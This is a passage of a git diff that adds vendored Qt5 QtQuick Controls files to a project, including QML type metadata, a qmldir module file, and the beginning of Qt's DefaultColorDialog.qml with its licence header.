} + Property { name: "__verticalScrollbarOffset"; type: "int" } + Property { name: "__wheelAreaScrollSpeed"; type: "double" } + Property { + name: "__horizontalScrollBar" + type: "ScrollBar_QMLTYPE_28" + isReadonly: true + isPointer: true + } + Property { + name: "__verticalScrollBar" + type: "ScrollBar_QMLTYPE_28" + isReadonly: true + isPointer: true + } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/TextArea 1.5" + exports: ["QtQuick.Controls/TextArea 1.5"] + exportMetaObjectRevisions: [5] + isComposite: true + defaultProperty: "data" + Property { name: "inputMethodComposing"; type: "bool"; isReadonly: true } + Property { name: "tabChangesFocus"; type: "bool" } + Property { name: "selectByMouse"; type: "bool" } + Property { name: "menu"; type: "QQmlComponent"; isPointer: true } + Property { name: "activeFocusOnPress"; type: "bool" } + Property { name: "baseUrl"; type: "QUrl" } + Property { name: "canPaste"; type: "bool"; isReadonly: true } + Property { name: "canRedo"; type: "bool"; isReadonly: true } + Property { name: "canUndo"; type: "bool"; isReadonly: true } + Property { name: "textColor"; type: "QColor" } + Property { name: "cursorPosition"; type: "int" } + Property { name: "cursorRectangle"; type: "QRectF"; isReadonly: true } + Property { name: "font"; type: "QFont" } + Property { name: "horizontalAlignment"; type: "int" } + Property { name: "effectiveHorizontalAlignment"; type: "int"; isReadonly: true } + Property { name: "verticalAlignment"; type: "int" } + Property { name: "inputMethodHints"; type: "int" } + Property { name: "length"; type: "int"; isReadonly: true } + Property { name: "lineCount"; type: "int"; isReadonly: true } + Property { name: "readOnly"; type: "bool" } + Property { name: "selectedText"; type: "string"; isReadonly: true } + Property { name: "selectionEnd"; type: "int"; isReadonly: true } + Property { name: "selectionStart"; type: "int"; isReadonly: true } + Property { name: "text"; type: "string" } + Property { name: "textFormat"; type: "int" } + Property { name: "wrapMode"; type: "int" } + Property { name: "selectByKeyboard"; type: "bool" } + Property { name: "hoveredLink"; type: "string"; isReadonly: true } + Property { name: "backgroundVisible"; type: "bool" } + Property { name: "data"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "textMargin"; type: "double" } + Property { name: "contentWidth"; type: "double"; isReadonly: true } + Property { name: "contentHeight"; type: "double"; isReadonly: true } + Property { name: "textDocument"; type: "QQuickTextDocument"; isReadonly: true; isPointer: true } + Signal { + name: "linkActivated" + Parameter { name: "link"; type: "string" } + } + Signal { + name: "linkHovered" + Parameter { name: "link"; type: "string" } + } + Signal { name: "editingFinished" } + Method { + name: "append" + type: "QVariant" + Parameter { name: "string"; type: "QVariant" } + } + Method { name: "copy"; type: "QVariant" } + Method { name: "cut"; type: "QVariant" } + Method { name: "deselect"; type: "QVariant" } + Method { + name: "getFormattedText" + type: "QVariant" + Parameter { name: "start"; type: "QVariant" } + Parameter { name: "end"; type: "QVariant" } + } + Method { + name: "getText" + type: "QVariant" + Parameter { name: "start"; type: "QVariant" } + Parameter { name: "end"; type: "QVariant" } + } + Method { + name: "insert" + type: "QVariant" + Parameter { name: "position"; type: "QVariant" } + Parameter { name: "text"; type: "QVariant" } + } + Method { + name: "isRightToLeft" + type: "QVariant" + Parameter { name: "start"; type: "QVariant" } + Parameter { name: "end"; type: "QVariant" } + } + Method { + name: "moveCursorSelection" + type: "QVariant" + Parameter { name: "position"; type: "QVariant" } + Parameter { name: "mode"; type: "QVariant" } + } + Method { name: "paste"; type: "QVariant" } + Method { + name: "positionAt" + type: "QVariant" + Parameter { name: "x"; type: "QVariant" } + Parameter { name: "y"; type: "QVariant" } + } + Method { + name: "positionToRectangle" + type: "QVariant" + Parameter { name: "position"; type: "QVariant" } + } + Method { name: "redo"; type: "QVariant" } + Method { + name: "remove" + type: "QVariant" + Parameter { name: "start"; type: "QVariant" } + Parameter { name: "end"; type: "QVariant" } + } + Method { + name: "select" + type: "QVariant" + Parameter { name: "start"; type: "QVariant" } + Parameter { name: "end"; type: "QVariant" } + } + Method { name: "selectAll"; type: "QVariant" } + Method { name: "selectWord"; type: "QVariant" } + Method { name: "undo"; type: "QVariant" } + Property { name: "frameVisible"; type: "bool" } + Property { name: "highlightOnFocus"; type: "bool" } + Property { name: "contentItem"; type: "QQuickItem"; isPointer: true } + Property { name: "__scrollBarTopMargin"; type: "int" } + Property { name: "__viewTopMargin"; type: "int" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "Style_QMLTYPE_3"; isPointer: true } + Property { name: "horizontalScrollBarPolicy"; type: "int" } + Property { name: "verticalScrollBarPolicy"; type: "int" } + Property { name: "viewport"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "flickableItem"; type: "QQuickFlickable"; isReadonly: true; isPointer: true } + Property { + name: "__scroller" + type: "ScrollViewHelper_QMLTYPE_32" + isReadonly: true + isPointer: true + } + Property { name: "__verticalScrollbarOffset"; type: "int" } + Property { name: "__wheelAreaScrollSpeed"; type: "double" } + Property { + name: "__horizontalScrollBar" + type: "ScrollBar_QMLTYPE_28" + isReadonly: true + isPointer: true + } + Property { + name: "__verticalScrollBar" + type: "ScrollBar_QMLTYPE_28" + isReadonly: true + isPointer: true + } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/TextAreaStyle 1.1" + exports: ["QtQuick.Controls.Styles/TextAreaStyle 1.1"] + exportMetaObjectRevisions: [1] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "TextArea_QMLTYPE_318"; isReadonly: true; isPointer: true } + Property { name: "font"; type: "QFont" } + Property { name: "textColor"; type: "QColor" } + Property { name: "selectionColor"; type: "QColor" } + Property { name: "selectedTextColor"; type: "QColor" } + Property { name: "backgroundColor"; type: "QColor" } + Property { name: "renderType"; type: "int" } + Property { name: "textMargin"; type: "double" } + Property { name: "__cursorHandle"; type: "QQmlComponent"; isPointer: true } + Property { name: "__selectionHandle"; type: "QQmlComponent"; isPointer: true } + Property { name: "__cursorDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "__editMenu"; type: "QQmlComponent"; isPointer: true } + Property { name: "corner"; type: "QQmlComponent"; isPointer: true } + Property { name: "scrollToClickedPosition"; type: "bool" } + Property { name: "transientScrollBars"; type: "bool" } + Property { name: "frame"; type: "QQmlComponent"; isPointer: true } + Property { name: "minimumHandleLength"; type: "int" } + Property { name: "handleOverlap"; type: "int" } + Property { name: "scrollBarBackground"; type: "QQmlComponent"; isPointer: true } + Property { name: "handle"; type: "QQmlComponent"; isPointer: true } + Property { name: "incrementControl"; type: "QQmlComponent"; isPointer: true } + Property { name: "decrementControl"; type: "QQmlComponent"; isPointer: true } + Property { name: "__scrollbar"; type: "QQmlComponent"; isPointer: true } + Property { name: "__externalScrollBars"; type: "bool" } + Property { name: "__scrollBarSpacing"; type: "int" } + Property { name: "__scrollBarFadeDelay"; type: "int" } + Property { name: "__scrollBarFadeDuration"; type: "int" } + Property { name: "__stickyScrollbars"; type: "bool" } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/TextField 1.0" + exports: ["QtQuick.Controls/TextField 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "inputMethodComposing"; type: "bool"; isReadonly: true } + Property { name: "selectByMouse"; type: "bool" } + Property { name: "menu"; type: "QQmlComponent"; isPointer: true } + Property { name: "acceptableInput"; type: "bool"; isReadonly: true } + Property { name: "activeFocusOnPress"; type: "bool" } + Property { name: "canPaste"; type: "bool"; isReadonly: true } + Property { name: "canRedo"; type: "bool"; isReadonly: true } + Property { name: "canUndo"; type: "bool"; isReadonly: true } + Property { name: "textColor"; type: "QColor" } + Property { name: "cursorPosition"; type: "int" } + Property { name: "cursorRectangle"; type: "QRectF"; isReadonly: true } + Property { name: "displayText"; type: "string"; isReadonly: true } + Property { name: "echoMode"; type: "int" } + Property { name: "font"; type: "QFont" } + Property { name: "horizontalAlignment"; type: "int" } + Property { name: "effectiveHorizontalAlignment"; type: "int"; isReadonly: true } + Property { name: "verticalAlignment"; type: "int" } + Property { name: "inputMask"; type: "string" } + Property { name: "inputMethodHints"; type: "int" } + Property { name: "length"; type: "int"; isReadonly: true } + Property { name: "maximumLength"; type: "int" } + Property { name: "placeholderText"; type: "string" } + Property { name: "readOnly"; type: "bool" } + Property { name: "selectedText"; type: "string"; isReadonly: true } + Property { name: "selectionEnd"; type: "int"; isReadonly: true } + Property { name: "selectionStart"; type: "int"; isReadonly: true } + Property { name: "text"; type: "string" } + Property { name: "validator"; type: "QValidator"; isPointer: true } + Property { name: "hovered"; type: "bool"; isReadonly: true } + Property { name: "__contentHeight"; type: "double"; isReadonly: true } + Property { name: "__contentWidth"; type: "double"; isReadonly: true } + Property { name: "__baselineOffset"; type: "double" } + Signal { name: "accepted" } + Signal { name: "editingFinished" } + Method { name: "copy"; type: "QVariant" } + Method { name: "cut"; type: "QVariant" } + Method { name: "deselect"; type: "QVariant" } + Method { + name: "getText" + type: "QVariant" + Parameter { name: "start"; type: "QVariant" } + Parameter { name: "end"; type: "QVariant" } + } + Method { + name: "insert" + type: "QVariant" + Parameter { name: "position"; type: "QVariant" } + Parameter { name: "text"; type: "QVariant" } + } + Method { + name: "isRightToLeft" + type: "QVariant" + Parameter { name: "start"; type: "QVariant" } + Parameter { name: "end"; type: "QVariant" } + } + Method { name: "paste"; type: "QVariant" } + Method { name: "redo"; type: "QVariant" } + Method { + name: "remove" + type: "QVariant" + Parameter { name: "start"; type: "QVariant" } + Parameter { name: "end"; type: "QVariant" } + } + Method { + name: "select" + type: "QVariant" + Parameter { name: "start"; type: "QVariant" } + Parameter { name: "end"; type: "QVariant" } + } + Method { name: "selectAll"; type: "QVariant" } + Method { name: "selectWord"; type: "QVariant" } + Method { name: "undo"; type: "QVariant" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/TextFieldStyle 1.0" + exports: ["QtQuick.Controls.Styles/TextFieldStyle 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "TextField_QMLTYPE_324"; isReadonly: true; isPointer: true } + Property { name: "font"; type: "QFont" } + Property { name: "textColor"; type: "QColor" } + Property { name: "selectionColor"; type: "QColor" } + Property { name: "selectedTextColor"; type: "QColor" } + Property { name: "passwordCharacter"; type: "string" } + Property { name: "renderType"; type: "int" } + Property { name: "placeholderTextColor"; type: "QColor" } + Property { name: "background"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + Property { name: "__cursorHandle"; type: "QQmlComponent"; isPointer: true } + Property { name: "__selectionHandle"; type: "QQmlComponent"; isPointer: true } + Property { name: "__cursorDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "__editMenu"; type: "QQmlComponent"; isPointer: true } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/ToggleButtonStyle 1.0" + exports: ["QtQuick.Controls.Styles/ToggleButtonStyle 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "ToggleButton_QMLTYPE_327"; isReadonly: true; isPointer: true } + Property { name: "inactiveGradient"; type: "QQuickGradient"; isPointer: true } + Property { name: "checkedGradient"; type: "QQuickGradient"; isPointer: true } + Property { name: "uncheckedGradient"; type: "QQuickGradient"; isPointer: true } + Property { name: "checkedDropShadowColor"; type: "QColor" } + Property { name: "uncheckedDropShadowColor"; type: "QColor" } + Property { + name: "__buttonHelper" + type: "CircularButtonStyleHelper_QMLTYPE_93" + isReadonly: true + isPointer: true + } + Property { name: "background"; type: "QQmlComponent"; isPointer: true } + Property { name: "label"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/ToolBar 1.0" + exports: ["QtQuick.Controls/ToolBar 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "__content" + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "__menu"; type: "QVariant" } + Property { name: "__style"; type: "QObject"; isReadonly: true; isPointer: true } + Property { name: "__content"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "contentItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/ToolBarStyle 1.0" + exports: ["QtQuick.Controls.Styles/ToolBarStyle 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "background"; type: "QQmlComponent"; isPointer: true } + Property { name: "menuButton"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + Property { name: "control"; type: "QQuickItem"; isReadonly: true; isPointer: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/ToolButton 1.0" + exports: ["QtQuick.Controls/ToolButton 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "isDefault"; type: "bool" } + Property { name: "menu"; type: "Menu_QMLTYPE_55"; isPointer: true } + Property { name: "checkable"; type: "bool" } + Property { name: "checked"; type: "bool" } + Property { name: "exclusiveGroup"; type: "QQuickExclusiveGroup1"; isPointer: true } + Property { name: "action"; type: "QQuickAction1"; isPointer: true } + Property { name: "activeFocusOnPress"; type: "bool" } + Property { name: "text"; type: "string" } + Property { name: "tooltip"; type: "string" } + Property { name: "iconSource"; type: "QUrl" } + Property { name: "iconName"; type: "string" } + Property { name: "__position"; type: "string" } + Property { name: "__iconOverriden"; type: "bool"; isReadonly: true } + Property { name: "__action"; type: "QQuickAction1"; isPointer: true } + Property { name: "__iconAction"; type: "QQuickAction1"; isReadonly: true; isPointer: true } + Property { name: "__behavior"; type: "QVariant" } + Property { name: "__effectivePressed"; type: "bool" } + Property { name: "pressed"; type: "bool"; isReadonly: true } + Property { name: "hovered"; type: "bool"; isReadonly: true } + Signal { name: "clicked" } + Method { name: "accessiblePressAction"; type: "QVariant" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/TreeView 1.4" + exports: ["QtQuick.Controls/TreeView 1.4"] + exportMetaObjectRevisions: [4] + isComposite: true + defaultProperty: "__columns" + Property { name: "model"; type: "QVariant" } + Property { name: "currentIndex"; type: "QVariant"; isReadonly: true } + Property { name: "selection"; type: "QItemSelectionModel"; isPointer: true } + Property { name: "rootIndex"; type: "QModelIndex" } + Signal { + name: "activated" + Parameter { name: "index"; type: "QVariant" } + } + Signal { + name: "clicked" + Parameter { name: "index"; type: "QVariant" } + } + Signal { + name: "doubleClicked" + Parameter { name: "index"; type: "QVariant" } + } + Signal { + name: "pressAndHold" + Parameter { name: "index"; type: "QVariant" } + } + Signal { + name: "expanded" + Parameter { name: "index"; type: "QVariant" } + } + Signal { + name: "collapsed" + Parameter { name: "index"; type: "QVariant" } + } + Method { + name: "isExpanded" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + } + Method { + name: "collapse" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + } + Method { + name: "expand" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + } + Method { + name: "indexAt" + type: "QVariant" + Parameter { name: "x"; type: "QVariant" } + Parameter { name: "y"; type: "QVariant" } + } + Property { name: "alternatingRowColors"; type: "bool" } + Property { name: "headerVisible"; type: "bool" } + Property { name: "itemDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "rowDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "headerDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "sortIndicatorColumn"; type: "int" } + Property { name: "sortIndicatorVisible"; type: "bool" } + Property { name: "sortIndicatorOrder"; type: "int" } + Property { name: "selectionMode"; type: "int" } + Property { name: "__viewTypeName"; type: "string" } + Property { name: "__isTreeView"; type: "bool"; isReadonly: true } + Property { name: "__itemDelegateLoader"; type: "QQmlComponent"; isPointer: true } + Property { name: "__model"; type: "QVariant" } + Property { name: "__activateItemOnSingleClick"; type: "bool" } + Property { name: "__mouseArea"; type: "QQuickItem"; isPointer: true } + Property { name: "backgroundVisible"; type: "bool" } + Property { name: "contentHeader"; type: "QQmlComponent"; isPointer: true } + Property { name: "contentFooter"; type: "QQmlComponent"; isPointer: true } + Property { name: "columnCount"; type: "int"; isReadonly: true } + Property { name: "section"; type: "QQuickViewSection"; isReadonly: true; isPointer: true } + Property { name: "__columns"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "__currentRowItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "__currentRow"; type: "int" } + Property { name: "__listView"; type: "QQuickListView"; isReadonly: true; isPointer: true } + Method { + name: "addColumn" + type: "QVariant" + Parameter { name: "column"; type: "QVariant" } + } + Method { + name: "insertColumn" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + Parameter { name: "column"; type: "QVariant" } + } + Method { + name: "removeColumn" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + } + Method { + name: "moveColumn" + type: "QVariant" + Parameter { name: "from"; type: "QVariant" } + Parameter { name: "to"; type: "QVariant" } + } + Method { + name: "getColumn" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + } + Method { name: "resizeColumnsToContents"; type: "QVariant" } + Property { name: "frameVisible"; type: "bool" } + Property { name: "highlightOnFocus"; type: "bool" } + Property { name: "contentItem"; type: "QQuickItem"; isPointer: true } + Property { name: "__scrollBarTopMargin"; type: "int" } + Property { name: "__viewTopMargin"; type: "int" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "Style_QMLTYPE_3"; isPointer: true } + Property { name: "horizontalScrollBarPolicy"; type: "int" } + Property { name: "verticalScrollBarPolicy"; type: "int" } + Property { name: "viewport"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "flickableItem"; type: "QQuickFlickable"; isReadonly: true; isPointer: true } + Property { + name: "__scroller" + type: "ScrollViewHelper_QMLTYPE_32" + isReadonly: true + isPointer: true + } + Property { name: "__verticalScrollbarOffset"; type: "int" } + Property { name: "__wheelAreaScrollSpeed"; type: "double" } + Property { + name: "__horizontalScrollBar" + type: "ScrollBar_QMLTYPE_28" + isReadonly: true + isPointer: true + } + Property { + name: "__verticalScrollBar" + type: "ScrollBar_QMLTYPE_28" + isReadonly: true + isPointer: true + } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/TreeView 1.5" + exports: ["QtQuick.Controls/TreeView 1.5"] + exportMetaObjectRevisions: [5] + isComposite: true + defaultProperty: "__columns" + Property { name: "model"; type: "QVariant" } + Property { name: "currentIndex"; type: "QVariant"; isReadonly: true } + Property { name: "selection"; type: "QItemSelectionModel"; isPointer: true } + Property { name: "rootIndex"; type: "QModelIndex" } + Signal { + name: "activated" + Parameter { name: "index"; type: "QVariant" } + } + Signal { + name: "clicked" + Parameter { name: "index"; type: "QVariant" } + } + Signal { + name: "doubleClicked" + Parameter { name: "index"; type: "QVariant" } + } + Signal { + name: "pressAndHold" + Parameter { name: "index"; type: "QVariant" } + } + Signal { + name: "expanded" + Parameter { name: "index"; type: "QVariant" } + } + Signal { + name: "collapsed" + Parameter { name: "index"; type: "QVariant" } + } + Method { + name: "isExpanded" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + } + Method { + name: "collapse" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + } + Method { + name: "expand" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + } + Method { + name: "indexAt" + type: "QVariant" + Parameter { name: "x"; type: "QVariant" } + Parameter { name: "y"; type: "QVariant" } + } + Property { name: "alternatingRowColors"; type: "bool" } + Property { name: "headerVisible"; type: "bool" } + Property { name: "itemDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "rowDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "headerDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "sortIndicatorColumn"; type: "int" } + Property { name: "sortIndicatorVisible"; type: "bool" } + Property { name: "sortIndicatorOrder"; type: "int" } + Property { name: "selectionMode"; type: "int" } + Property { name: "__viewTypeName"; type: "string" } + Property { name: "__isTreeView"; type: "bool"; isReadonly: true } + Property { name: "__itemDelegateLoader"; type: "QQmlComponent"; isPointer: true } + Property { name: "__model"; type: "QVariant" } + Property { name: "__activateItemOnSingleClick"; type: "bool" } + Property { name: "__mouseArea"; type: "QQuickItem"; isPointer: true } + Property { name: "backgroundVisible"; type: "bool" } + Property { name: "contentHeader"; type: "QQmlComponent"; isPointer: true } + Property { name: "contentFooter"; type: "QQmlComponent"; isPointer: true } + Property { name: "columnCount"; type: "int"; isReadonly: true } + Property { name: "section"; type: "QQuickViewSection"; isReadonly: true; isPointer: true } + Property { name: "__columns"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "__currentRowItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "__currentRow"; type: "int" } + Property { name: "__listView"; type: "QQuickListView"; isReadonly: true; isPointer: true } + Method { + name: "addColumn" + type: "QVariant" + Parameter { name: "column"; type: "QVariant" } + } + Method { + name: "insertColumn" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + Parameter { name: "column"; type: "QVariant" } + } + Method { + name: "removeColumn" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + } + Method { + name: "moveColumn" + type: "QVariant" + Parameter { name: "from"; type: "QVariant" } + Parameter { name: "to"; type: "QVariant" } + } + Method { + name: "getColumn" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + } + Method { name: "resizeColumnsToContents"; type: "QVariant" } + Property { name: "frameVisible"; type: "bool" } + Property { name: "highlightOnFocus"; type: "bool" } + Property { name: "contentItem"; type: "QQuickItem"; isPointer: true } + Property { name: "__scrollBarTopMargin"; type: "int" } + Property { name: "__viewTopMargin"; type: "int" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "Style_QMLTYPE_3"; isPointer: true } + Property { name: "horizontalScrollBarPolicy"; type: "int" } + Property { name: "verticalScrollBarPolicy"; type: "int" } + Property { name: "viewport"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "flickableItem"; type: "QQuickFlickable"; isReadonly: true; isPointer: true } + Property { + name: "__scroller" + type: "ScrollViewHelper_QMLTYPE_32" + isReadonly: true + isPointer: true + } + Property { name: "__verticalScrollbarOffset"; type: "int" } + Property { name: "__wheelAreaScrollSpeed"; type: "double" } + Property { + name: "__horizontalScrollBar" + type: "ScrollBar_QMLTYPE_28" + isReadonly: true + isPointer: true + } + Property { + name: "__verticalScrollBar" + type: "ScrollBar_QMLTYPE_28" + isReadonly: true + isPointer: true + } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/TreeViewStyle 1.4" + exports: ["QtQuick.Controls.Styles/TreeViewStyle 1.4"] + exportMetaObjectRevisions: [4] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "TreeView_QMLTYPE_350"; isReadonly: true; isPointer: true } + Property { name: "indentation"; type: "int" } + Property { name: "branchDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "textColor"; type: "QColor" } + Property { name: "backgroundColor"; type: "QColor" } + Property { name: "alternateBackgroundColor"; type: "QColor" } + Property { name: "highlightedTextColor"; type: "QColor" } + Property { name: "activateItemOnSingleClick"; type: "bool" } + Property { name: "headerDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "rowDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "itemDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "__branchDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "__indentation"; type: "int" } + Property { name: "corner"; type: "QQmlComponent"; isPointer: true } + Property { name: "scrollToClickedPosition"; type: "bool" } + Property { name: "transientScrollBars"; type: "bool" } + Property { name: "frame"; type: "QQmlComponent"; isPointer: true } + Property { name: "minimumHandleLength"; type: "int" } + Property { name: "handleOverlap"; type: "int" } + Property { name: "scrollBarBackground"; type: "QQmlComponent"; isPointer: true } + Property { name: "handle"; type: "QQmlComponent"; isPointer: true } + Property { name: "incrementControl"; type: "QQmlComponent"; isPointer: true } + Property { name: "decrementControl"; type: "QQmlComponent"; isPointer: true } + Property { name: "__scrollbar"; type: "QQmlComponent"; isPointer: true } + Property { name: "__externalScrollBars"; type: "bool" } + Property { name: "__scrollBarSpacing"; type: "int" } + Property { name: "__scrollBarFadeDelay"; type: "int" } + Property { name: "__scrollBarFadeDuration"; type: "int" } + Property { name: "__stickyScrollbars"; type: "bool" } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/TumblerStyle 1.2" + exports: ["QtQuick.Controls.Styles/TumblerStyle 1.2"] + exportMetaObjectRevisions: [2] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "Tumbler_QMLTYPE_353"; isReadonly: true; isPointer: true } + Property { name: "spacing"; type: "double" } + Property { name: "visibleItemCount"; type: "int" } + Property { name: "__padding"; type: "double"; isReadonly: true } + Property { name: "__delegateHeight"; type: "double" } + Property { name: "__separatorWidth"; type: "double" } + Property { name: "background"; type: "QQmlComponent"; isPointer: true } + Property { name: "foreground"; type: "QQmlComponent"; isPointer: true } + Property { name: "separator"; type: "QQmlComponent"; isPointer: true } + Property { name: "columnForeground"; type: "QQmlComponent"; isPointer: true } + Property { name: "frame"; type: "QQmlComponent"; isPointer: true } + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "highlight"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/qmldir new file mode 100644 index 00000000..6641de86 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/qmldir @@ -0,0 +1,8 @@ +module QtQuick.Controls +plugin qtquickcontrolsplugin +classname QtQuickControls1Plugin +typeinfo plugins.qmltypes +designersupported +depends QtQuick.Window 2.2 +depends QtQuick.Layouts 1.0 +depends QtQml 2.14 diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/qtquickcontrolsplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/qtquickcontrolsplugin.dll new file mode 100644 index 00000000..17d97394 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/qtquickcontrolsplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultColorDialog.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultColorDialog.qml new file mode 100644 index 00000000..f8c8e220 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultColorDialog.qml @@ -0,0 +1,405 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Dialogs module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.4 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 +import QtQuick.Dialogs 1.0 +import QtQuick.Window 2.1 +import "qml" + +AbstractColorDialog { + id: root + property bool __valueSet: true // guard to prevent binding loops + function __setControlsFromColor() { + __valueSet = false + hueSlider.value = root.currentHue + saturationSlider.value = root.currentSaturation + lightnessSlider.value = root.currentLightness + alphaSlider.value = root.currentAlpha + crosshairs.x = root.currentLightness * paletteMap.width + crosshairs.y = (1.0 - root.currentSaturation) * paletteMap.height + __valueSet = true + } + onCurrentColorChanged: __setControlsFromColor() + + Rectangle { + id: content + implicitHeight: Math.min(root.__maximumDimension, Screen.pixelDensity * (usePaletteMap ? 120 : 50)) + implicitWidth: Math.min(root.__maximumDimension, usePaletteMap ? Screen.pixelDensity * (usePaletteMap ? 100 : 50) : implicitHeight * 1.5) + color: 